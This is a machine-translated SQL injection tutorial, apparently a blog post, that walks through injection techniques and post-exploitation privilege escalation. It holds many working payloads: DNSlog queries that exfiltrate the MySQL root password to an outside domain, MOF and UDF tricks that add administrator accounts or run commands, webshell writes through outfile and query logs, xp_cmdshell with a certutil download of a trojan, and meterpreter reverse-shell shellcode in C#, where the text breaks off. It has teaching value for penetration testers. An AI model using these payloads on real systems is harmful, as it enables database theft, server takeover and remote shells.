# SQL Injection Basics

Time：2022-8-16

## SQL Injection Basics

**SQL injection** (English: SQL injection), is a [security vulnerability] (https://en.wikipedia.org/wiki/security vulnerability) that occurs in the application and database layers. In short, injecting [SQL](https://zh.wikipedia.org/wiki/SQL) instructions into the input string, in a poorly designed [program](https://zh.wikipedia. org/wiki/computer programs) ignore character checking, then these injected malicious instructions will be [database](https://zh.wikipedia.org/wiki/database)[server](https:// en.wikipedia.org/wiki/server) mistakenly thinks it is a normal SQL command and runs, so it is damaged or hacked.

Although OWASP Top10 has been changed throughout the year, sql injection has basically been at the top of the list.

The harm of SQL injection is naturally great, usually as follows (from [wiki](https://zh.wikipedia.org/wiki/SQL%E6%B3%A8%E5%85%A5)):

• Data leakage in the data sheet, such as corporate and personal confidential information, account information, passwords, etc.
• The data structure is discovered by hackers, allowing further attacks (eg SELECT * FROM sys.tables).
• The database server was attacked and the system administrator account was tampered with (eg ALTER LOGIN sa WITH PASSWORD='xxxxxx').
• After obtaining higher system permissions, it may be possible to join the web pagemalicious linkMalicious codeas well asPhishingWait.
• The operating system support provided by the database server allows hackers to modify or control the operating system (eg xp_cmdshell &quot;net stop iisadmin&quot; to stop the server's IIS service).
• Hackers upload simple php commands to the host of the other party. The powerful system commands of PHP allow hackers to fully control the system (for example: php one-word Trojan horse).
• Destroy hard disk data and paralyze the entire system (eg xp_cmdshell &quot;FORMAT C:&quot;).
• After obtaining the highest authority of the system, it can do large-scale damage to any management system within the enterprise, and even make its enterprise go bankrupt.
• The homepage of the corporate website was tampered with, and the appearance was lost.

After finding the injection point, the basic process of SQL injection is as follows:

collect message:
database type
Database version
database user
Database permissions

retrieve data:
Get library information
Get table information
Get column information
retrieve data

Elevation of rights:
Excuting an order
write file write webshell

## Injection classification and utilization

### Boolean injection

Boolean is an English wordBooleanThe transliteration of , students who know programming should know that it is a data type used to represent yes or no (True or False). Boolean injection is an injection method that judges whether the condition is true or false according to the return result of the page during the SQL injection process.

Returns True when the query result is not empty, otherwise returns False. This is usually reflected on web pages where True has content displayed, while False corresponds to a blank page (or no page change). In this way, we can guess the characters of the table name, field name and field value one by one, and judge whether the guess is correct by returning the result, because the process is cumbersome, and it is usually done in combination with scripts or tools.

For example, in sqli-labs Less8, only correct and incorrect pages are returned. We can then use boolean injection to guess the data.

The statement to judge the length of the database, the page is not displayed at this time, indicating that the length is 8:

http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(database())>8 --+

Splice when getting database nameand (ascii(substr(database(),1,1)))>115statement, an error occurs, and the first character of the database name is &quot;s&quot; according to the ASCII code table. Then repeat this operation to get the data we need.

### Error injection

#### principle

During the SQL injection attack, the server enables error echoing, the page returns error information, and the error reporting function is used to obtain database data.

There are two main scenarios, one is when the query does not echo the content, but an error message is printed; the other is at injection points such as insert and update (Order by query), these statements will also print an error message.

Commonly used Mysql error reporting functions are as follows:

updatexml(): mysql's xpath function for querying and modifying xml document data

extractvalue(): mysql's xpath function for querying xml document data

floor(): The function used to round up in mysql

exp(): This function returns the value of e (base of natural logarithm) exponent X to the power

• When there are special characters and letters in updatexml, an error will appear. The error information is the special characters, letters and the following content, and the data output by hex contains letters and numbers, so the content before the first letter will be lost, and updatexml will report an error at most only Can display 32 bits, we can combine the SUBSTR function to get the data, for example as follows:
mysql> select updatexml(1,make_set(3,'~',(select user())),1);

ERROR 1105 (HY000): XPATH syntax error: '~,[email protected]'

ERROR 1105 (HY000): XPATH syntax error: '@[email protected]@'

mysql> select updatexml(1,repeat((select user()),2),1);

ERROR 1105 (HY000): XPATH syntax error: '@[email protected]'

mysql> select updatexml(1,(select user()),1);

ERROR 1105 (HY000): XPATH syntax error: '@localhost'

mysql> select updatexml(1,reverse((select user())),1);

ERROR 1105 (HY000): XPATH syntax error: '@toor'

mysql> select updatexml(1,export_set(1|2,'::',(select user())),1);

ERROR 1105 (HY000): XPATH syntax error: '::,::,[email protected],[email protected]'

• extractvalue(target xml document, xml path). The second parameter Xpath in the grammar is an operable place. If we write in the wrong format, an error will be reported, and the illegal format content we wrote will be returned, and this illegal content is the content we want to query.
mysql> select extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 3,1)));//获取表名

ERROR 1105 (HY000): XPATH syntax error: '\users'

mysql> select extractvalue(1, concat(0x5c,(select password from users limit 1,1)));ERROR 1105 (HY000): XPATH syntax error: '\xxxx'mysql> select extractvalue(1, concat(0x5c,(select password from users limit 0,1)));//获取字段

ERROR 1105 (HY000): XPATH syntax error: '\Dumb'

• The role of the floor() function is to return the largest integer less than or equal to the value in the parentheses, that is, rounding. floor(rand(0)*2) is the result of multiplying the random sequence generated by rand(0) by 2, and then rounding. floor error injection is used

select count(*),(floor(rand(0)*2)) x from users group by x

This relatively fixed statement format results in a database error. For its error reporting principle, please refer to:source

1. ' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- qwe

2. ' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a),'','') -- qwe

#### Federated Query Injection

Take MySQL as an example here

• ##### GET

Get the echo point:

digital:
Perform a joint query based on the acquired fields to view the display points. See the numbers displayed on the web page and the numbers corresponding to the joint query fields to get which field the data queried can be displayed on the website. (Using and 1=2, you can also use other methods such as -2/2.1154 to report an error to the previous query, and then the web page displays the data from the joint query.)

and 1=2 union select 1,2,3,4,5



Character type:

The difference between character type and number type is only closure and comments, and the rest of the statements are basically the same. Like here, because the query condition parameters of the SQL statement written in PHP are enclosed in single quotation marks, so use single quotation marks. If it is other such as double quotation marks, it should be closed with double quotation marks, and then comment out the redundant match or deal with it.

' and 1=2 union select 1,2,3-- qwe

Here are some specific usage statements:

and 1=2 union select 1,database(),3,4,5 //Query the current database
and 1=2 union select 1,database(),version(),4,5 //Query the current database and version
and 1=2 union select 1,database(),table_name,4,5 from information_schema.tables where table_schema=database() limit 0,1 //爆表名

• ##### POST

The most frequently mentioned POST injection should be the universal password. (the first user in the default login form)

Universal password, where the previous condition is false, followed by 1=1 is true, or or, one true and one false is true, so the condition is true, then query all the data in the table.

' or 1=1 -- qwe

Get the number of fields:

' or 1=1 order by 1 -- qwe

The search box is as follows, and it can be obtained after the field is closed.

#### time blind

When injecting, no matter what value we pass in, if the web page is normal or an error is reported, a page is displayed, then whether the web page is displayed normally or not will not be the basis for us to judge whether the injection is successful, and we must use time-based blind injection.

Here is also Mysql as an example.

MySQL Delay Injection

Delay injection is to add two functions to the blind injection:

if(expr1,expr2,expr3) Judgment statement If the first statement is correct, execute the second statement if the error executes the third statement

##### sleep function

sleep(): how many seconds to sleep

Determine the injection point:

Only one type of page is returned, regardless of whether the entered statement is true or false.

At this point, we can only use sleep() to determine the injection point.

' and sleep(5)-- qwe //The delay is 5 seconds, which proves that the execution is successful.

Guess the current database:

' and if(length(database())&gt;8,1,sleep(5))-- When the length of the qwe database is greater than 8, the delay is 5 seconds, and the database name is a string of length 8.
' and if(ord(mid(database(),1,1))>115,1,sleep(5))-- qwe
ASCII code: 115 -&gt; s Guess the first character of the database

The following exploits are similar to the blinds, but are judged differently.

### benchmark function

Introduction to the BENCHMARK(count, expr) function

The benchmark function will repeat the calculation of the expr expression count times, so we can increase the number of calculations as much as possible to increase the time delay.

statement

and if((Boolean blind statement),BENCHMARK(10000000,md5('a')),1);

#### Cartesian product function

Introduction
The so-called superposition full array is to make a Cartesian product connection on multiple tables, so that the query time increases exponentially. That is to say, the attacker continuously superimposes simple table queries and continuously increases the load of the system executing SQL statements until an attack occurs. the desired time delay. In order to prevent unnecessary errors from indicating that repetition may lead to unnecessary errors, table aliases are generally used to distinguish

and if((Boolean blind statement),(Cartesian product statement),1);

statement

mysql> select count(*) from information_schema.columns a,information_schema.columns b;

+----------+

| count(*) |

+----------+

| 774400 |

+----------+

1 row in set (0.20 sec)

mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;

+-----------+

| count(*) |

+-----------+

| 113101560 |

+-----------+

1 row in set (2.07 sec)

#### get_lock blinds

Introduction
If get_lock is performed on the keyword, then open another session and perform get_lock on the key again, which will delay the time we specified. This blind injection method has some limitations, that is, two sessions must be opened at the same time for injection.

GET_LOCK(str,timeout)

example

SESSION A

mysql> select get_lock('rocky',5);
+---------------------+
| get_lock('rocky',5) |
+---------------------+
| 1 |
+---------------------+
1 row in set (0.00 sec)
1234567

SESSION B

mysql> select get_lock('rocky',5);
+---------------------+
| get_lock('rocky',5) |
+---------------------+
| 0 |
+---------------------+
1 row in set (5.00 sec)
1234567

statement
and if((Boolean blind statement),GET_LOCK(str,timeout),1);

### inject type extension

What is DNS?

The full name of DNS is Domain Name System, which maps domain names and IP addresses to each other, making it easier for people to access the Internet. When the user enters a URL such aswww.test.com, the DNS Server on the network will resolve the domain name and find the corresponding real IP such as192.168.10.11, so that users can access the corresponding services on this server.

What is Dnslog

Dnslog is the domain name information stored on the DNS Server, which records the user's information on the domain namewww.test.comt00ls.com.etc. access information.

Use scenarios of DNSLOG:

In some cases where the vulnerability cannot be directly used to obtain an echo, but the target can initiate a request, the desired data can be taken out through DNSlog at this time.
For blind SQL injection, the common method is to guess one by one by dichotomy, but such a method is troublesome, and it is easy to be banned due to frequent data requests.
So you can send the selected data to a url, and use the log generated by dns parsing to view the data.

Through sub-queries, the content is spliced ​​into the domain name, and load_file() is used to access the shared file, and the visited domain name is recorded
At this time, it becomes an error injection, and the blind injection becomes an error injection, and the remote shared file is read, and the query is made by splicing out the function, and it is spliced ​​into the domain name. When accessing, the server will be accessed, and the log will be viewed after recording.

Read a file and return the file content as a string. To use this function:
1. The file must be located on the server host
2. You must specify the full path of the file
3. Must have FILE permission. All bytes of the file are readable
4. The content of the file must be less than max_allowed_packet (limiting the packet size function accepted by the server, default 1MB)
If the file does not exist or cannot be read because one of the preceding conditions is not met, the function returns NULL.

The load_file() function that needs to be injected through DNSlog is generally required to be root. show variables like '%secure%'; view the disks that load_file() can read.

1. When secure_file_priv is empty, directories written to disk can be read and written.
2. When secure_file_priv is G:\, the specified folder can read and write to the folder, and the files in the G disk can be read.
3. When secure_file_priv is null, it means that reading and writing are not allowed, and load_file cannot load the file.

UNC path:

A UNC path is a network path in the form of \softer. It conforms to the format \servername\sharename, where servername is the server name and sharename is the name of the shared resource.
The UNC name of a directory or file can include the directory path under the share name in the format: \servername\sharename\directory\filename.
For example, the shared folder named it168 of the softer computer is represented by UNC as \softer\it168.
The familiar command line access method to access My Network Places should actually be called the UNC path access method.

\abc.xxx.com\abc -&gt; Access the abc shared folder under abc.xxx.com

DNSLOG Platform

First we assign this domain name: 75icr7.ceye.io

平台有个POC：SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));

1. Change to assign our domain name:
2. CONCAT: String concatenation function
3. The select in the middle is a subquery. If the password of the root user is root, then this statement is equivalent to
4. SELECT LOAD_FILE('\\\\root.75icr7.ceye.io\\abc');

Database to access the shared folder abc under the server of root.75icr7.ceye.io.
ceye.io uses pan-resolution, and the subdomains of ceye.io are resolved on a certain server, and then it records that someone requested access to root.75icr7.ceye.io, and then displays it on the ceye platform

Let's check the database and try:

and (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.75icr7.ceye.io\\abc'))) 1.txt is added here because there is a firewall and its features are used bypass.

The database information comes out.

The actual use can also refer to:The actual combat of DNSlog in SQL injection

### second order injection

The second-order injection is also called the second-order injection. The principle is that the SQL statement is directly stored in the database without being escaped, and then it is read and queried.

Secondary injection is usually seen in php, when insertedaddslashes() get_magic_quotes_gpcEscape, etc., but the original data is still used when writing to the database. There are various reasons for the secondary injection.

Here we use SQLi labs lesson 24 as an example.

1. First create a user amin'# with comments

1. Looking at the database, it can be seen that the record was successfully added. Although there is an escape operation here, as mentioned above, the data is stored in the database in its original form.

1. Use the registered account to modify the password. The sql statement is analyzed as follows:
The sql statement in the source code: UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' Statement to be executed: UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' The final executed statement: UPDATE users SET PASSWORD='$pass' where username='admin'

1. can clearly see#and after are omitted, causing the password of the admin account to be changed (instead ofadmin'#of)

### Order By injection

Order by injection is a special case, the sql statement isselect * from admin order by $id. We generally use order by to judge the number of columns. In fact, it is a process of sorting according to the number of columns. order by injection cannot be used directlyand 1=1To judge, it requires the use of conditional statements. Simple injection judgment Take advantage of early injections when there is a lot of presenceorder byClause to quickly guess the number of columns, and then cooperateunion selectThe statement is echoed. can be modified byorderIf the parameter is a larger integer, see the echo to judge. If you don't know the column name, you can refer to the corresponding column by the serial number of the column. But after testing, the operation cannot be performed here, such asorder=3-1andorder=2are different http://192.168.239.2:81/?order=11 error http://192.168.239.2:81/?order=1 OK Further construct the payload The previous judgment is not absolute, we need to construct something likeand 1=1and 1=2payload for easy data injection. Conditional statements (if) are used here. http://127.0.0.1/?order=IF(1=1,name,price) Sort by name field http://127.0.0.1/?order=IF(1=2,name,price) Sort by price field http://127.0.0.1/?order=IFNULL(NULL,price) Sort by name field http://127.0.0.1/?order=IFNULL(NULL,name) Sort by price field It can be observed that the sorting results are different. use error In some cases, it is impossible to know the column name, and it is not intuitive to judge the difference between the two requests. You can use functions such as updatexml and extracvalue for error injection: http://127.0.0.1/?order=updatexml(1,if(1=1,1,user()),1) is correct http://127.0.0.1/?order=updatexml(1,if(1=2,1,user()),1) error http://127.0.0.1/?order=extractvalue(1,if(1=1,1,user())) is correct http://127.0.0.1/?order=extractvalue(1,if(1=2,1,user())) error time based blind Note that if you directlyif(1=2,1,SLEEP(2)), the sleep time will become 2 * the number of records in the current table, which will cause a certain denial of service attack to the server /?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) normal response time /?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒 ### insert, delete, update injection Notice! Injection in these cases will modify or delete data, which is a very dangerous operation. Exploitation is only considered if permitted by authorization testing. The use is actually similar to the one mentioned before, the main methods are error reporting and blind betting. insert Generally, this kind of injection will appear in the registration, ip header, message board, etc. where data needs to be written, and it is generally difficult to find that this kind of injection does not report an error. Report an error, use the updatexml function mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin"); Query OK, 1 row affected (0.00 sec) mysql> select * from admin; +------+-----------------------------------------------+----------+ | id | username | password | +------+-----------------------------------------------+----------+ | 1 | admin | admin | | 1 | and 1=1 | admin | | 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin | +------+-----------------------------------------------+----------+ 3 rows in set (0.00 sec) mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin"); ERROR 1105 (HY000): XPATH syntax error: '~5.5.53' 1. Delayed blinds The int type can use operators, such as addition, subtraction, multiplication and division and or, exclusive or shift, etc. mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin"); Query OK, 1 row affected (5.00 sec) mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin"); Query OK, 1 row affected (0.00 sec) Note that and cannot be used for character closure. mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin"); Query OK, 1 row affected (0.00 sec) mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin"); Query OK, 1 row affected (5.01 sec) Attention blind injection produces a lot of garbage data. delete Note that delete injection is very dangerous. Be sure to sort out the logic and don't use sqlmap for a shuttle. The sentence is slightly inappropriate, and the relatives cry two lines. Error injection is the same as above: mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0); ERROR 1105 (HY000): XPATH syntax error: '~5.5.53' blind note or withif()Improper use of function. Simply mention if(expr1, expr2, expr3), if the value of expr1 is true, return the value of expr2, if the value of expr1 is false, return the value of expr3. mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),1); Query OK, 3 rows affected (0.00 sec) update Similar to the above, here is an example of delayed injection: mysql> update admin set id="5"+sleep(5)+"" where id=2; Query OK, 4 rows affected (20.00 sec) Rows matched: 4 Changed: 4 Warnings: 0 ## limit injection ## Usage of limit Format: limit m,n //m is the starting position of the record, n is to take n pieces of data limit 0,1 //Start from the first one, take a piece of data Two functions can be followed by Limit, PROCEDURE and INTO. INTO cannot be used unless it has permission to write to the shell. After Limit, you can use the procedure analyse() subquery, and you can only use the extractvalue and benchmark functions to delay. ### Introduction procedure analyse()The function is a built-in MySQL field type that provides suggestions after statistical analysis of MySQL field values. grammar procesure analyse(max_elements,max_memory) max_elements Specifies the maximum value of distinct values ​​for each column. When this value is exceeded, MySQL will not recommend the enum type. max_memory analyse()Find the maximum memory size used to find all distinct values ​​for each column. Error injection: ?id=1 procedure analyse(extractvalue(rand(),concat(0x7e,database())),1); Time Blinds: You can't use sleep directly, you need to use BENCHMARK instead ?id=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x7e,(IF(MID(database(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1) # Injection detection For the detection of sql injection, in addition to using automated tools, manual injection is also an effective method. We can most easily detect vulnerable parameters by triggering an error in the application or by using boolean injection. Constructing a malformed query will trigger an error, while sending a valid query with various boolean logic statements will trigger a different response from the web server. The detection methods described here can be seen in examples above, as many exploits are accompanied by tests. Our section mainly explores how to obtain database version information. Note: True or False statements should return different responses via HTTP status codes or HTML content. If these responses are consistent with the true/false nature of the query, then there is sql injection. Database version detection Detecting which database management system (DBMS) the target is using is critical to further exploit injection. Without this information, it is impossible to determine which tables to query, which functions to build in, and which detections to avoid. If the query below responds successfully, the selected DBMS is in use. Note: Put the comment character — after the query to remove any comments after the query and help prevent errors. #### Front-end and database types web application database system .net sql server php PostgreSQL,Mysql asp sql server,Access java Oracle,Mysql This helps narrow our judgment. #### port judgment port database system 1433 SQL Sever 1521 Oracle 3306 Mysql The Access database is a file-type database, so there is no port number. #### Judgment based on a specific function len和length In mssql, mysql and db2, the return length value is to call the len() function; in oracle and INFORMIX, the length() is used to return the length value. When you use and len('a')=1, when returning to the normal page, it can be inferred that the current database type may be mssql, or mysql, or db2. On the contrary, it may be oracle and informix. @@version and version() In mysql, you can use @@version or version() to return the current version information. But when it is impossible to judge whether it is mysql or mssql, the version() function can be used to construct the judgment. When version()&gt;1 returns the same page as @@version&gt;1, it may be mysql. If there is a prompt version() error, it may be mssql. substring和substr Substring can be called in mssql. oracle can only call substr #### String handling sql server ：id=1 and 'a'+'b'='ab' -- mssql:id=1 and 'a'+'b'='ab' mysql:id=1 and 'a'+'b'='ab' ， 'ab'=concat('a','b') oracle:id=1 and 'a'+'b'='a'||'b' ，'ab'=concat('a','b') postgresql :id=1 and 'a'+'b'='a'||'b' ,'ab'=concat('a','b') #### Error type ORACLE ORA-01756:quoted string not properly terminated ORA-00933:SQLcommand not properly ended MS-SQL Msg 170,level 15, State 1,Line 1 Line 1:Incorrect syntax near ‘foo Msg 105,level 15,state 1,Line 1 Unclose quotation mark before the character string ‘foo MYSQL you have an error in your SQL syntax,check the manual that corresponds to you mysql server version for the right stntax to use near ‘’foo’ at line x # Inject privilege escalation ## Mysql articles ### MOF Privilege Escalation (windows) #### Scope of use Windows lower versions such as Windows Server 2003/XP permission required Export permission is required ## principle mof is a file of Windows system, located in c:/windows/system32/wbem/mof/nullevt.mof, called managed object format, its function is to monitor the creation and death of process every 5 seconds. The simple process of using mof privilege escalation is to use the root privilege to perform the upload operation after having the root privilege of MySQL, and upload the rewritten mof file. After that, the file will be executed by the server with system privilege every 5 seconds. . In this rewritten mof, there is a vbs script, most of which are cmd commands to add administrator users. How to write Mof file? The key is the 17th net.exe user secist 123 /add, which is used to create a user with a username of secist and a password of 123. After the creation is successful, change the command to &quot;net.exe localgroup administrators admin /add&quot; and upload it again to create the admin user and add it to the administrators group. ## MOF Privilege Escalation – Practical Operation This BlueCms is built on Windows Server 2003R2, the user registers, after the login is successful, upload the avatar, and then change the suffix of the mof file we want to use to 1.jpg to upload Then by scanning the directory, we found that this website has a phpmyadmin directory. After visiting it, it shows that the PHP version is too low. It is found that Phpmyadmin can only be used if PHP is higher than 5.5. After testing it locally, Windows 2003 does not support PHP5.4 or above at all, but Pays off, I found out that it has the adminer.php file. It is also a database management tool for WEB. Then I checked the database, and the permission to export was actually turned on. If the local test partner is not enabled, you can go to the end of the my.ini of the database and add this sentence, and then restart Mysql. Add my.ini statement: secure_file_priv = Then we just need to simply execute the export statement, first use load_file to read the content of the file uploaded earlier, and then export to c:/windows/system32/wbem/mof/nullevt.mof. Statement: select load_file(“D:/phpstudy/www/bluecms/uploads/data/upload/face_pic/15905196234.jpg”) into dumpfile “c:/windows/system32/wbem/mof/kkk.mof” Upload a mof file again, and then in the place where the command is executed, change the add user to change to increase the user authority, the mof here is the system authority, so it can be brought up directly. Is it possible to try to achieve such an attack without an upload point? Then what I thought of is to write it directly in the adminer and export it directly, but I guess some symbols will affect the statement. Mysql supports hexadecimal, so it should be possible to convert to hexadecimal first, and then export it with Into dumpfile Character to hexadecimal:https://www.bejson.com/convert/ox2str/ We tried, but encountered difficulties, because after hex decoding and writing, all the code will be glued together, no more line breaks. If you are not mistaken, there is no newline added during the hexadecimal conversion, but the conversion here is complicated, and it is found that a newline is composed of a carriage return + a newline. For the sake of speed, it is directly converted to pure char writing here. After the execution is successful, the viewing user is obviously added, so as long as it can be imported, it can be successful. ## Udf privilege escalation #### Scope of use No version requirement, only related to Mysql, not related to the server version Permission requirements Must have export permission, and the user must have root permission #### principle UDF (user defined function) user-defined function is an extension interface of mysql. Users can implement functions that cannot be easily implemented in MySQL through self-defined functions, and the new functions added can be called in SQL statements, just like calling native functions. By loading the dll file extension, we can let Mysql do everything. By uploading a Dll extension that can call system commands, set custom functions, and then use the functions to execute commands. #### actual combat If mysql version &gt; 5.1, the udf.dll file must be placed in lib\plugin\ under the mysql installation directory If the mysql version is less than or equal to 5.1, the udf.dll file is in the system32 directory How do we get the Dll file, in fact, there are in Sqlmap \data\udf\mysql\windows\64\lib_mysqludf_sys.dll file in the sqlmap directory Of course, if your target is 32-bit, then choose 32-bit. Let's try the easiest way, uploading directly to this directory via webshell and executing the command. This refers to the low-privilege running of the website, but the high-privilege running of the database, which is more common when IIS is used as middleware. upload udf First determine the database version, in line with mysql greater than or equal to 5.1. There are udf files in sqlmap, which are divided into 32-bit and 64-bit. According to the number of bits of mysql (not the number of target system), the command show variables like '%version_%'; view the number of mysql bits. The 32-bit lib_mysqludf_sys.dll is stored in the sqlmap\data\udf\mysql\windows\32 directory, but the shell and some binary files that come with sqlmap are encoded by XOR in order to prevent accidental killing and cannot be used directly. You can use the decoding tool cloak.py that comes with sqlmap to enter the sqlmap\extra\cloak directory and execute the command: python2 cloak.py -d -i D:\sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys. dll After decoding, a dll file will be generated in the sqlmap\data\udf\mysql\windows\32 folder. Create a plugin directory in the lib folder under the mysql installation path, and upload lib_mysqludf_sys.dll. import function Need to create functions that exist in udf, you can use winhex to open the dll to see what functions can be created. The sys_eval function is selected here. sys_eval: Execute an arbitrary command and return the output. sys_exec: Execute an arbitrary command and return an exit code. Introduce custom functions:create function sys_eval returns string soname "lib_mysqludf_sys.dll"; use function Verify it: select * from mysql.func where name = 'sys_eval'; select sys_eval('calc'); Play the calculator and experiment. In addition, you can create a new account and join the administrator group for other operations. ##### mysql outfile export webshell Conditions: know the physical path, root authority, and mysql needs to have write authority, secure_file_priv configuration is not null, check method: show global variables like '%secure_file_priv%'; This parameter can only be modified by restarting mysql after modifying the configuration file. 1.select '' into outfile 'C:phpStudy/PHPTutorial/WWW/11.php' 2. Create a new table, create an empty field, insert php horse in this field, and then export Direct export requires enabling security configuration ps: secure_file_priv parameter is used to restrict LOAD DATA, SELECT …OUTFILE, LOAD_FILE() (reading files) ##### mysql log get webshell Check: SHOW VARIABLES LIKE '%general%' Modify status: set global general_log="ON"; Modify the storage location: set global general_log_file='C:/phpStudy/PHPTutorial/WWW/11.php'; Write the horse: select ''; Only root privileges are required. ##### mysql slow query log getshell First query the slow configuration. show variables like '%slow_query_log%'; If the result is off, run set global slow_query_log=1; Then set the location of the log log, set it to the web directory set global slow_query_log_file='C:\\phpStudy\\WWW\\cs.php'; Check if the modification is successful show variables like '%slow_query_log%'; Trigger slow query log select '' or sleep(11); Access the set directory, you can see that it has been successful, and getshell is the same. ## Mssql articles ### execute system commands Judgment on 1. select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' A result of 1 means open Can be judged with blind sentences and (select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell')=1 Note: Executing system commands is a stack query, and there is no echo select * from users where id =1 exec master..xp_cmdshell whoami So you can try to create an account and other instructions directly. If you can't use stack query, you can use blind injection assistance if 1=1 execute('exec xp_cmdshell whoami');select * from users where id =1 and 1=2 if 1=1 execute('exec master..xp_cmdshell whoami'); Write the file, note that the original file content will be overwritten exec master..xp_cmdshell &quot;echo this is a trojan&gt;d:\.txt&quot; Note: If the characters in echo have quotation marks and other symbols, then we have to add a quotation mark before the quotation mark^to escape it! Remember to wrap the sentence inside with single quotes! Execute EXE program – this is a wrong case exec master..xp_cmdshell 'C:\WINDOWS\system32\notepad.exe' Commands that cannot execute user interaction, such as executing a program that requires user input, closing, etc., such as Notepad, will hang the program. In addition, the pop-up window is also not good, suitable for other operations or the use of the following commands. exec master..xp_cmdshell “certutil -urlcache -split -f http://server/trojan.exetrojan.exe&quot; — Write files without impurities exec sp_configure 'show advanced options',1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures',1;RECONFIGURE WITH OVERRIDE; declare @ob int;exec sp_oacreate 'adodb.stream',@ob output;exec sp_oasetproperty @ob,'type',1;exec sp_oamethod @ob,'open';exec sp_oamethod @ob,'write',null,0x3c3f70687020706870696e666f28293b3f3e;exec sp_oamethod @ob,'savetofile',null,'c:\test66.txt',2;exec sp_oamethod @ob,'close';exec sp_oadestroy @ob; ### Manipulate the registry Modify the registry directly, turn off the firewall, and open 3389. read remote desktop port ##### Backup file write shell log backup create table cmd (a image)backup log test to disk = 'c:/1.bak' with initinsert into cmd (a) values ('')backup log test to disk = 'c:\saul.aspx'drop table cmd file backup exec sp_makewebtask 'D:\mssql\p2.asp','' Note that the path and content usehexadecimal declare @s nvarchar(4000);select @s=0x730065006c00650063007400200027003c002500450078006500630075007400650028007200650071007500650073007400280022004d00480022002900290025003e000d000a002700;exec sp_makewebtask 0x44003a005c006d007300730071006c005c00700032002e00610073007000, @s; Differential backup In theory, only different content will be backed up, but there are deviations during testing backup database test to disk = 'c:.bak'create table [dbo].[test] ([cmd] [image]);insert into test(cmd) values('')--backup database test to disk='c:.aspx' WITH DIFFERENTIAL,FORMAT; #### clr msf executeMsfvenom -p windows / meterpreter / reverse_tcp LHOST = 192.168.139.129 LPORT = 4444 EXITFUNC = none -f csharp --platform windows structure using System;using System.IO;using System.Runtime.InteropServices;namespace Meterpreter_Test2{ class Program { static void Main(string[] args) { //RunMeterpreter("192.168.139.129", "4444"); //var str = Convert.ToString(Console.ReadLine()); } public static void RunMeterpreter(string ip, string port) { try { byte[] buf = new byte[323] { 0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x68, 0x33, 0x32, 0x00, 0x00, 0x68, 0x77, 0x73, 0x32, 0x5f, 0x54, 0x68, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0xb8, 0x90, 0x01, 0x00, 0x00, 0x29, 0xc4, 0x54, 0x50, 0x68, 0x29, 0x80, 0x6b, 0x00, 0xff, 0xd5, 0x6a, 0x05, 0x68, 0xc0, 0xa8, 0x8b, 0x81, 0x68, 0x02, 0x00, 0x11, 0x5c, 0x89, 0xe6, 0x50, 0x50, 0x50, 0x50, 0x40, 0x50, 0x40, 0x50, 0x68, 0xea, 0x0f, 0xdf, 0xe0, 0xff, 0xd5, 0x97, 0x6a, 0x10, 0x56, 0x57, 0x68, 0x99, 0xa5, 0x74, 0x61, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0x0a, 0xff, 0x4e, 0x08, 0x75, 0xec, 0xe8, 0x61, 0x00, 0x00, 0x00, 0x6a, 